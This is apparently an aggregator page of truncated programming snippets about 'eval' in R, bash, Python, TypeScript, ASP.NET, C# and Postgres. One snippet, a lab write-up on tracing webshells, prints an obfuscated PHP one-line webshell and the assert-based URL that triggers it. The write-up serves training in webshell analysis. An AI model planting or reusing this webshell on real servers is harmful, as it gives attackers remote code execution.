eval

Creating expression tree in R

自作多情 提交于 2019-12-02 20:57:09
The substitute function in R creates a language object in the form of a tree that one can parse. How can I create the tree from scratch using list or else to then give it to eval? # substitute gives a tree representation of the expression a=1; b=2; e1 = substitute(a+2*b) eval(e1) #gives 5 as expected e1 # is type language e1[[1]] # this is `+` e1[[2]] # this is 'a' type symbol e1[[3]] # this is type language e1[[3]][[1]] # this is `*` etc.... I would like to know how I can reconstruct the e1 object programmatically. Ideally I create an object of intricated lists with the correct object in them

Use of variables like %{buildDir} in QtCreator kit settings in Qt5

社会主义新天地 提交于 2019-12-02 20:42:36
In this documentation (under section "Specifying a Custom Executable to Run") I noticed that there is mention of what looks like a variable %{buildDir} in the field "Working directory". I have struggled for a while now to find documentation for this feature. I would like to know first of all is there documentation for this somewhere? . Secondary questions: What other variables are available? In which fields can they be used? Can I access variables that I created in my project's .pro file? Are there any other eval features or is this mechanism limited to variables? Thanks! As mentioned in the

Read a config file in BASH without using “source”

佐手、 提交于 2019-12-02 19:28:13
I'm attempting to read a config file that is formatted as follows: USER = username TARGET = arrows I realize that if I got rid of the spaces, I could simply source the config file, but for security reasons I'm trying to avoid that. I know there is a way to read the config file line by line. I think the process is something like: Read lines into an array Filter out all of the lines that start with # search for the variable names in the array After that I'm lost. Any and all help would be greatly appreciated. I've tried something like this with no success: backup2.config>cat ~/1 grep '^[^#].*' |

Python 中eval 函数的作用

有些话、适合烂在心里 提交于 2019-12-02 19:23:24
eval函数就是实现list、dict、tuple与str之间的相互转化str函数把list,dict,tuple转为为字符串 # 字符串转换成列表a = "[[1,2], [3,4], [5,6], [7,8], [9,0]]"print(type(a))b = eval(a)print(b) # 字符串转换成字典a = "{1: 'a', 2: 'b'}"print(type(a))b = eval(a)print(type(b))print(b) # 字符串转换成元组a = "([1,2], [3,4], [5,6], [7,8], (9,0))"print(type(a))b=eval(a)print(type(b))print(b) 来源: https://www.cnblogs.com/chen-jun552/p/11760463.html

用tsc编译ts

落爺英雄遲暮 提交于 2019-12-02 18:53:09
源代码 /*因为编译后的代码包含es6新增api,比如下边的includes,有浏览器可能不支持,故而需要引入垫片 这里可以选择core-js,也可以ts-polyfill,目的都是一样的*/ import 'core-js'; //具体目标 class Utils { protected cname:string = 'Utils'; public test(): void{ [1,2,3].includes(2) } } (window as any).subject = new Utils(); //方便页面使用 使用tsc编译 tsconfig.json配置如下 { "compilerOptions": { "target": "es5", /* 编译的目标是什么版本的 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019' or 'ESNEXT'. */ "module": "commonjs",/* 编译后模块化类型 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', or 'ESNext'. */ "lib": [ //编译过程中需要引入的库文件的列表。 "es5", "es2016.array.include", "dom

WebShell代码分析溯源(一)

☆樱花仙子☆ 提交于 2019-12-02 18:51:01
WebShell代码分析溯源(一) 一、 一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二、代码分析 1、调整代码格式 <?php $_GET['POST']($_POST['GET']); ?> 2、分析代码,首先以GET方法接收url中POST参数传递的值,然后又以POST方法接收GET参数传递的值,因此可以构造payload:http://www.test.com/test.php?POST=assert,这样就相当于一句话木马变成这样: <?php assert($_POST['GET']);?> 注:不能使用eval,eval与assert的区别: eval函数中参数是字符,eval并不支持可变变量形式 assert函数中参数为表达式 (或者为函数) 参考: https://www.anquanke.com/post/id/173201/ https://blog.csdn.net/whatday/article/details/59168605 三、漏洞环境搭建 1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第1题)),地址: https://www.mozhe.cn/bug/detail/TkhnOVovVm14KzV6aTN5K2d1dFZ0Zz09bW96aGUmozhe 2、代码环境

<%# Eval(“State”) %> or <%# DataBinder.Eval(Container.DataItem, “state”)%>

痴心易碎 提交于 2019-12-02 18:49:57
What is the difference between having <%# Eval("State") %> in your aspx page, versus having <%# DataBinder.Eval(Container.DataItem, "State") %> in your aspx page? Eval("State") is a simplified form of the DataBinder.Eval(Container.DataItem, "State") syntax. It only works inside of data-bound template controls. For more info, see the MSDN documentation . There is no difference. The "Eval" method is just a shortcut for the DataBinder.Eval(Container.DataItem, "blah") method. Raman Sharma There are a lot of differences between <%# Eval %> and <%# DataBinder.Eval %> under the covers, even though

c#中动态输入和计算 代数表达式

和自甴很熟 提交于 2019-12-02 18:47:52
原文链接: https://blog.csdn.net/liyun211/article/details/48519857 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Collections; using System.ComponentModel; using System.CodeDom; using System.CodeDom.Compiler; using Microsoft.JScript; using System.Reflection; 下面是一个完整的类,代码已经测试过 /// <summary> /// 动态求值 /// </summary> public class Evaluator { /// <summary> /// 计算结果,如果表达式出错则抛出异常 /// </summary> /// <param name="statement">表达式,如"1+2+3+4"</param> /// <returns>结果</returns> public static object Eval(string statement) { return _evaluatorType.InvokeMember(

Evaluate dataframe$column expression stored as a string value

匆匆过客 提交于 2019-12-02 18:12:01
问题 Can a string of the form below be evaluated so that it is equivalent to the same "literal" expression? Example data and code: df.name = data.frame(col1 = 1:5, col2 = LETTERS[seq(1:5)], col3 = letters[seq(1:5)], stringsAsFactors = FALSE) col.name = "col2" row.num = "4" var1 = str_c("df.name$", col.name,"[",row.num,"]") > var1 [1] "df.name$col2[4]" The literal works as expected > df.name$col2[4] [1] D get() is not equivalent: get(var1) ## Error in get(var1) : object 'df.name$col2[4]' not found

How to evaluate expression in select statement in Postgres

笑着哭i 提交于 2019-12-02 17:38:45
问题 Postgres 9.1+ database contains customers and product. In customers table, customer price is described as sql expression in priceexpression column for every customer. How to create price list from this data ? I tried code below but got error since eval() is undefined. create table customer ( id int primary key, priceexpression text ); insert into customer values (1, 'price*0.95'),(2,'cost+12.0' ); create table product ( id char(20) primary key, price numeric(12,4), cost numeric(12,4) );